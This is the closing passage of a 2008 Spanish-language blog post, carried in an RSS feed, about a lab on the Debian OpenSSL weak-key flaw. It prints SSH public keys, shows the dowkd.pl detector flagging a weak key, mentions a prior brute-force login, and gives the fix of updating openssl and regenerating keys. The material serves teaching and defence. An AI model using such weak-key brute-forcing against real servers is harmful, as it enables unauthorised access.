&lt;em&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArchVhUYH1+GxrJszA36j+sp2AXGGzS/xbG81hLGuX2Vjve1kwXHuQZPhHjasbqTvGCf1H80XPnBM9KUlLMS3nDW9mt5+h+tUVgRzZnzAX3VRszH1ydgWXpNghV2tYrO+Q5AioGmyKdsNYab4PScduE83Yd6BGFyJ565nbCLvteHV+osfP4tFj7lER6xlwG6czTHLKub7jufbi0TBuaRVK/2ZBrGdd9H6tGE8LoM00/MJEZX6NEnmxHDpI+acY8O0bKE6K8jlF6mbTb8AvRKCRVE4rSxTtA7dHJ5b/DYVR0QS3Yk7zjfTUWZ6t9SbkEP21KvQxJEIoDpznj92OAuarw== root@ubuntu804server&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
La cual es la misma detectada por dowkb.pl
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Si queremos saber si en nuestro authorized_keys existe alguna clave débil ejecutamos:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;./dowkd.pl file $HOME/.ssh/authorized_keys&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxXemh1Nrej7ruVphIe8IARPyXMTXszpQWDVNJIhoTUHlYgfRm+i8BkQKIXlrVQpM9UEt0jEP+Ne9+2104IScV/wL5qf3DkCHh0Aiwhzry74PljUziz/WywopGSY/8QRooCoVimhyMcfZ1ILCB3q2/3UB8/o9O4UgMEXG6DsHNoDUMLvjdqNLJtGDEa6fp5jh3mkZJLIVd02q5/w6hVh62sKhH0VC+hY5j9IDHorWweV7ZQXCOYiHw6+DUlauoIi6zy8fr0hpKKiG6yrG0aP/RfqnxfaccaEy1SBgWfgDUspCtVuL9QKef8R+5Illx4JMPtwIKTBow7SPUJDSbsLODQ==&lt;br /&gt;
61:75:09:67:5a:ad:d7:61:ef:72:93:9d:76:99:e1:39&lt;br /&gt;
.ssh/authorized_keys:1: weak key (OpenSSH/rsa/2048)&lt;br /&gt;
summary: keys found: 1, weak keys: 1&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
Y vemos efectivamente que es la misma clave con la que nos autenticamos anteriormente haciendo el bruteforce.
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;h3&gt;Solución&lt;/h3&gt;
&lt;p&gt;
Actualizar principalmente el paquete openssl, todas las posibles &lt;a href=&quot;http://www.debian.org/security/key-rollover/&quot; target=&quot;_blank&quot;&gt;versiones de programas vulnerables&lt;/a&gt; y regenerar todas las claves públicas/privadas débiles.
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;h3&gt;Agradecimientos&lt;/h3&gt;
&lt;p&gt;
A mi novia por ayudarme con las correcciones ortográficas y por hacerme el aguante con  todo esto.
&lt;/p&gt;
&lt;p&gt;
A &lt;a href=&quot;http://www.openware.biz&quot; target=&quot;_blank&quot; title=&quot;Openware&quot;&gt;Openware&lt;/a&gt; e &lt;a href=&quot;http://www.isec-global.com/&quot; target=&quot;_blank&quot; title=&quot;I-sec&quot;&gt;I-sec&lt;/a&gt; por permitirme dar estos laboratorios y clases donde uno aprende mucho más enseñando a los demás que leyendo y escribiendo.
&lt;/p&gt;
&lt;p&gt;
A los que me dieron una mano y me felicitaron en la lista Forosi de &lt;a href=&quot;http://www.segu-info.com.ar/&quot; target=&quot;_blank&quot; title=&quot;Segu-info&quot;&gt;Segu-info&lt;/a&gt;.(Carlos T., yaco, Alejandro, Adolfo F., Cristian B., Sebastian C., Javier, Jhon, Alejus, Javier M.)
&lt;/p&gt;
&lt;p&gt;
A Raphaël por la ayuda en su script.
&lt;/p&gt;
&lt;p&gt;
A los de la lista de &lt;a href=&quot;http://www.securityfocus.com/archive/101/494110/30/60/threaded&quot; target=&quot;_blank&quot; title=&quot;Pen-test&quot;&gt;Pen-test&lt;/a&gt; de securityfocus.com.
&lt;/p&gt;
&lt;p&gt;
Y a los chic@s del curso, esto va dedicado a ellos.
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;/files/laboratorio_libssl.zip&quot; title=&quot;Laboratorio práctico de explicacion de la vulnerabilidad de libssl en Debian.pdf&quot;&gt;Descargar documento&lt;/a&gt;
&lt;/p&gt;
</description>
 <comments>http://www.ulises2k.com.ar/textos/laboratorio_practico_de_explicacion_de_la_vulnerabilidad_de_libssl_en_debian#comments</comments>
 <pubDate>Wed, 23 Jul 2008 19:20:50 -0300</pubDate>
 <dc:creator>Ulises2k</dc:creator>
 <guid isPermaLink="false">49 at http://www.ulises2k.com.ar</guid>
</item>
</channel>
</rss>
